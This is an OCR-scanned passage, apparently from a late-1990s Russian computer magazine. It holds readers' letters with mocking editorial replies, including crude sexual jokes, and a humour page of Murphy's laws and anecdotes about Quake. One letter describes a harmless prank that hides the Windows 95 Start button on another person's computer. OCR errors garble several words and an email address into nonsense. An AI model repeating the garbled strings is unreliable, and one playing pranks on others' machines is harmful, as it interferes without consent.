ь (ФУ ера 


то, что быстро готовится, я опять же решил эту 
проблему — мне готовит мама, поэтому я регу- 
лярно и хорошо питаюсь. Кстати, мама сказала 
мне, что от всяких там чипсов, сухариков и т.д. 
может быть язва (вот так-то! А еще я не пью пи- 
во!!! (по-вашему я безалкащ), но так же я не пью 
всякую там «Сосасолу»... Я люблю компот, ки- 


и | 
сель! — и, в итоге, и внутренние органы здоро- 
вые, и проживу больше вас — алкоголиков!!! 


Единственное, с чем вы угадали — это то, что 
настоящий хакер должен быть милитаризован- 
ным! Действительно, моя любимая песня — «Уои 
п ап Агту Мом»!!! — настоящая хакерская пес- 
ня... 

Хотите еще одно доказательство, что я — хакер? 
В своей рубрике «Мастерская» вы пишете о соз- 
дании игр, а я вот уже почти закончил создание 
«Крестиков-Ноликов»!!! А вам слабо??? ;-} 

В общем, на этом можно и остановиться (хотя у 
вас еще много недостатков, о которых стоит 
сказать). 

Так же меня, к примеру, обидело то, что вы 
опубликовали письмо А.Щербакова в рубрике 
«Самое дурацкое письмо номера». Если вы так 
же поступите и с моим письмом, то я ХАКНУ 
ваш сервер (папа обещал мне скоро сделать 
[пегте}, в то же время если вы НЕ опубликуете 
мое письмо — не доведете его до глаз читате- 
лей — то это еще раз подтвердит, что вы слаба- 
ки и трусы и что вам всем правда глаза режет!! 
Ну, вот и все. 

Александр Маринов ака Шурик ака «Иг» ака 
«Эй». 

Р.$. Почему вы не употребляете всевозможные 
рожицы, типа ;-} и :-], ведь они являются 
неотьемлемым атрибутом любого хакера! 
Р.Р.$. Пишу письмо «от руки», так как мой ком- 
пьютер временно вышел из строя ;-(. 

Р.Р.Р.5. А.Щербаков был прав — я, например, 
тоже не знаю, кто такой О. СКООУЕШ 


Ответ Х: 


№ № соттеп!... 


бесплатно прилагайте скотч 
или что-нибудь для закрывания 
глаз (чтобы хотя бы не видеть 
этого ужаса), 

Продолжаю. Кульные у васху- 
дожники, им отдельный привет 
(особо кульно нарисовано в 
#5/99 на стр. 029 и 083]! 

И последнее. Как напакостить 
ламеру, если есть доступ к его 
компу: 

1. Выделите кнопку «Пуск» так, 
чтобы на ней появился пунктир. 
2. Нажмите А!+минус на циф- 
ровой клаве. 

3. В появившемся меню выбе- 
рите «Закрыть». И «Пуск» исче- 
зает. 

Теперь он вернется только пос- 
ле перезагрузки (трюк рабо- 
тает только в 95’ом Мастдае). 
Вот и все! 

Гуд Бай кул хацкеры! 

Мое мыло: #е_х@тай.ги. 


Ответ Х: 


Дарова. Мы решили по твоей 
просьбе комплектовать журнал 
скотчем для глаз ©. Начнем сс 
следующего номера. Также в 
поставку журнала будут вхо- 
дить: скотч для рук (особо креп- 
кий), наручники для ноги бата- 
реи центрального отопления 
(укомплектовано тремя замка- 
ми, создано для острого удо- 
вольствия), тушь для подмышек 
и губная помада «Дзинтарс» 
для бодиарта ©. А спецвыпуски 
Х будут комплектоваться еще и 
презервативами, и запасными 
дынями для вечернего отдыха 
со встроенным модемом на 
14.400. Ну, а в люкс поставки 
будут включаться ма-а-алень- 
кие Кибигоиды (для любителей 
ощущений погорячее), которые 
будут кричать: «Возьми меня! 
Возьми меня быстрее! (че, дура, 
что ль? Я никуда не еду}». Од- 
ним словом, твое предложение 
об изменении комплектации и 
дания — правильное и имеет 
под собой почву. Ценовую по- 
литику постараемся не менять, 
так что все эти маленькие ра- 
дости сможет себе позволить 
каждый ©. Извини, больше пи- 
сать не могу, у нас все заняты: 
в форме эксперимента на всех 
машинах редакции убрали 
кнопку «Пуск», но она после 
ребута почему-то не появляет- 
ся. Не знаем, что делать, админ 
в панике, остальные в шоке. 
Напиши, как нам теперь быть. 
На этом кончаю, целую, твоя 
тетя Роза. 
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К” известно, вся наша жизнь про- 
текает согласно основному закону 
Мерфи (Если какая-либо неприятность 
может произойти, она обязательно 
произойдет.), а также согласно допол- 
нению Маха (Если какая-либо неприят- 
ность ну никак не может произойти, 
она все равно произойдет.). Несколько 
месяцев назад я обратил внимание на 
то, что эти законы чрезвычайно спра- 
ведливы и для всенародной игры 
Оуаке. Пораженный этим открытием, я 
серьезно занялся исследованием дан- 
ной темы и открыл множество интерес- 
ных закономерностей. 


Чтак, законы Мерфи 


ля Квечка: 
--ли у вас максимум здоровья и брони, 
куча оружия и диа4 датаде, значит че- 
рез две секунды вас убьют. 
Замечание: 
Если вас не убили, значит только то, 
что все игроки покинули сервер. 
Если у противника максимум здоровья 
и брони, куча оружия и ацаа 
Чатаде, значит... через две 
секунды вас убьют. 
Если вы выстрелили 
из рокет-лаунчера, 
и вас тут же убили, 
значит сейчас вы 
прореспаунитесь 
прямо на пути ва- 
шей ракеты. 
Как только вы возьмете 
красную броню и мега- 
хэлф, сзади появится 
человек с рокет- 
лаунчером и ааа 
паде. 
Если вы, истратив 
всю красную броню, 
половину здоровья и все боеприпасы, 
все-таки завалите этого ‘засранца, зна- 


чит сейчас сзади появится другой с ВЕС. 


В этот раз весь Хумор я решил посвятить Кваке. Популярная игрушка, много народу от нее тащится, и, 
конечно, для многих Квака уже стала отдельной жизнью. Вот об этой жизни мы сегодня и поболтаем. © 


Законы Мерфи апя Кваки 


Если вы заметите, что один из игроков 
стоит на месте и не отвечает на ваши 
выстрелы, и, догадавшись, что он вре- 
менно отлучился изигры, вы по-джен- 
тельменски пробежите мимо, то через 
секунду умрете от ракеты, пущенной в 
спину. 

Если вы увидели сообщение «Играем 
только на шотганах», значит сейчас 
вас вынесут из ВЕС. 

Если вы, найдя на уровне укромное 
местечко, отправитесь в туалет, то, 
вернувшись, обнаружите свой труп 
посредине арены, лежащую на клавиа- 
туре кошку и необычайно большое ко- 
личество фрагов у неприятеля. 
Действие защитного костюма заканчи- 
вается как раз в тот момент, когда вы, 
проплыв десять метров в глубину ток- 
сичных отходов, взяли ВЕС и ацаЯ 
Чатаде. 

Если до фраглимита вам остался один 
фраг, значит сейчас вы выстрелите из 
ракетницы себе под ноги и упаде- 

те в лаву. 

Максимум, что может 
остаться после 
смерти против- 


ника — это 
шотган, даже ес- 
ли перед смертью неп- 
риятель осыпал вас градом 
ракет. 
Замечание: 
Этот шотган все равно возьмете не 
вы, а вооон тот паренек с идиотским 
скином. 
Обычно ваш респаун происходит в эпи- 
центре взрыва ВЕС, посредине арены 
во время крутой разборки или, на край- 
ний случай, около рэйлгана, к которому 
бегут, как минимум, игроков пять. 
Если вы увидели с крыши бойню 
и пару раз для прикола выс- 
трелили туда из бластера, 
то все игроки тотчас за- 
кончат бой и побегут ис- 
кать вас, а вы теперь за 
всю жизнь не отделае- 
тесь от статуса «ныкаю- 
щегося ламка». 
Пущенная наугад ракета 
попадет прямиком в вас. 
Дополнение: 
После чего вы непремен- 


но упадете в лаву. 


АнеЕкдоты 
про Квакчу 


Объявлено всемирное разоружение 
квакеров. На пункте сдачи Ромеро 
принимает оружие: 

$\ог4зтап [МЕС] тащит окровавлен- 
ный шотган с диким количеством зару- 
бок на нем. 

СтгапаМаза [1УУ] приносит обгорелый 
рокет-лаунчер. 

УБап [МУ] сгибается под тяжестью 
старого, покрытого ржавчиной рэйлга- 
на. 

Вдруг, к всеобщему удивлению, прибе- 
гает ламер Миша [РИ] и гордо заяв- 
ляет 

— А уменя ракета!!! 

Ну, Ромеро офигел — откуда у ламера 
ракета? 

На что Миша’поворачивается задом, 
нагибается и говорит: 

— Вытаскивайте! 


Бежит квакер по уровню, вдруг слышит, 
как внутренний голос ему говорит: 
«Стрэйф влево! Ну он резко 
стрейфится влево, справа от 
него пролетает ракета! 
Бежит квэйкер даль- 
ше, и тут внутрен- 
ний голос опять гово- 
рит: «Стрэйф вправо!» Па- 
рень берет резко вправо, 
бах — слева от него взрывается 
граната! 
Внутренний голос: «Отломай все зубья 
у твоего Боок’а!» 
Квэйкер: «А это еще зачем? Они мне 
еще пригодятся!» 
Забегает за угол, а там толпа квэйке- 
ров из другой команды — окружили 
его, загнали в угол и спрашивают: 
— А сколько ты на нашем ламере Ми- 
ше фрагов заработал? 
— 15. 
— А ну суньте ему его же собственный 
Воск в задницу и поверните 15 раз! 


